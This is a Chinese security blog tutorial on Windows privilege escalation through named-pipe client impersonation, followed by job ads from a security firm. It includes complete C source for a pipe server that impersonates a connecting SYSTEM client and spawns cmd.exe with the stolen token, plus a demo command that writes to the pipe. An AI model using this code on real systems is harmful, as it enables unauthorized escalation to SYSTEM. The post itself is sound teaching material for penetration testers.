利用命名管道进行权限提升

admin 2020年11月28日15:12:29评论113 views字数 5906阅读19分41秒阅读模式

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

前言

命名管道是Windows 比较经典的一个概念并且Linux也有,但是两者用途并非相同。那么什么是命名管道呢?


Win32 SDK定义管道为两种:

匿名管道(Anonymous pipes ):匿名管道通常在父进程和子进程之间传输数据。它们通常用于重定向子进程与其父进程之间的标准输入和输出,且不支持通过网络进行通信。

利用命名管道进行权限提升

命名管道(Named pipes):命名管道可以在不相关的进程之间传输数据,前提是管道的权限授予对客户端进程的适当访问权限。

利用命名管道进行权限提升

着重讲命名管道:它可以在同一台机器或不同机器间的不同进程间提供通信,拥有一个Pipe Server和一个或者多个Pipe Client,在它们之间进行单向或者双向通信的管道。


我们的目的是为了通过命名管道来进行权限的提升,这里还需要涉及到安全描述符(Security Descriptor)的概念。

利用命名管道进行权限提升

在Windows系统中,对某进程或者线程的权限信息是使用安全描述符来定义的。它是一个结构体,由 安全标识符(Security Identifies)、DACL、SACL以及其自身控制位组成,其中DACL和SACL组成访问控制列表(ACL,Access Control List)。

主要来看DACL,DACL是安全描述符中最重要的,它里面包含零个或多个访问控制项(ACE,Access Control Entry),每个访问控制项的内容描述了允许或拒绝特定账户对这个对象执行特定操作。在Win32实体程序中设置了一个NULL DACL,那么意味着任何人都有权限对其进行访问控制。

设置安全描述符的API函数为 SetSecurityDescriptorDacl

关于更多访问控制模型内容,请参考:Security Descriptors

No.2

命名管道的利用

利用命名管道提权的重要原因:命名管道允许服务端进程模拟已连接的客户端进程,API名称为ImpersonateNamedPipeClient() 

如果使用非管理员权限去启动命名管道的服务端进程进行监听,而以管理员的客户端进行连接,不一定能够成功,想要进行提权,启动服务端的用户还需要某些特权,如:SeImpersonatePrivilege、等等

使用 whoami /priv 查看权限


而该权限一般是系统使用在本地服务账号或者网络服务账号的,所以当我们因为某服务账号启动服务的漏洞而获得权限之后,就有了 Local Service或者Network Service权限,看似权限很低,但可以利用他进行权限提升至System权限


从管理员提升至SYSTEM权限

首先,先抛出代码段

#include "stdafx.h"
#define SERVICE_NAME "Elevate"#define PIPE_PATH "\\.\pipe\elevate"
int main(){ char directory[_MAX_PATH]; char servicePath[_MAX_PATH]; char serviceName[128]; char recv[1024]; DWORD bytes; bool connected; HINSTANCE hinst; STARTUPINFOA si; PROCESS_INFORMATION pi; HANDLE token; HANDLE newtoken; HANDLE ptoken;

HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL );
if (namedPipe == INVALID_HANDLE_VALUE) { printf("[!] Could not create named pipen"); return 0; } else { printf("[*] Named pipe created: %sn", PIPE_PATH); } srand(GetTickCount()); connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi));
if (connected) { for (;;) { printf("[*] Waiting for pipe connection...n");
ZeroMemory(recv, sizeof(recv));
// 读取客户端连接信息 ReadFile(namedPipe, recv, sizeof(recv), &bytes, NULL);
printf("[*] Read %d Bytes: %sn", bytes, recv);
printf("[*] Attempting to impersonate clientn"); if (ImpersonateNamedPipeClient(namedPipe) == 0) { printf("[!] Error impersonating clientn"); return 0; } if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) { printf("[!] Error opening thread tokenn"); }
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) { printf("[!] Error opening process tokenn"); }
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) { printf("[!] Error duplicating thread tokenn"); } printf("[*] Impersonated SYSTEM user successfullyn"); if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { printf("[!] CreateProcessAsUser failed (%d), trying another method.n", GetLastError());
ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi));
// 使用CreateProcessAsUser API提权失败的情况下,使用CreateProcessWithTokenW 函数 if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { printf("[!] CreateProcessWithToken failed (%d), trying another method.n", GetLastError());
ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessAsUserW(newtoken,NULL,L"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOW)&si,&pi)) { printf("[!] CreateProcessAsUserW failed (%d).n", GetLastError());
return 0; } return 0; } } printf("[*] All Done.. enjoy... press any key to finishn"); getchar(); return 0; } } return 0;}

编程方面主要步骤为

> 初始化命名管道 

> 服务端启动监听 

> 客户端传递信息 

> 服务端接受信息

> 利用客户端提供权限进行提权


操作演示

为了方便演示,此次使用psexec提前进行提权获取system权限,以此作为传递信息的客户端。

利用命名管道进行权限提升

从上面的演示中可以直观的理解编程顺序,需要system权限的客户端与管道进行通信,之前说为了掩饰而提前进行的提权,实际上当我们是管理员权限时,有很多方式使Windows利用system权限对管道发起通信,例如:创建服务(PSEXEC的原理)、创建计划任务等等

echo hello >> \.pipeelevate

服务端模拟客户端,使用特权为 SeImpersonatePrivilege (身份验证后模拟客户端)

后续讲解的管道土豆提权,从服务账号到SYSTEM权限就是利用这一特性。


注:仔细看到GIF中演示的一段:

[!] CreateProcessAsUser failed (1314), trying another method.

是因为在编程过程中使用了多种API创建进程,代码中已给出注释。

No.3

总结

命名管道是红队在横向移动时非常重要的一种手段,可以作为信息传递的媒介,同时也可以利用权限的特性,进行提权。

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。


简历投递至

[email protected]


设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 

[email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 

[email protected]


利用命名管道进行权限提升

专注渗透测试技术

全球最新网络攻击技术

END

利用命名管道进行权限提升

本文始发于微信公众号(雷神众测):利用命名管道进行权限提升

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月28日15:12:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用命名管道进行权限提升https://cn-sec.com/archives/191221.html

发表评论

匿名网友 填写信息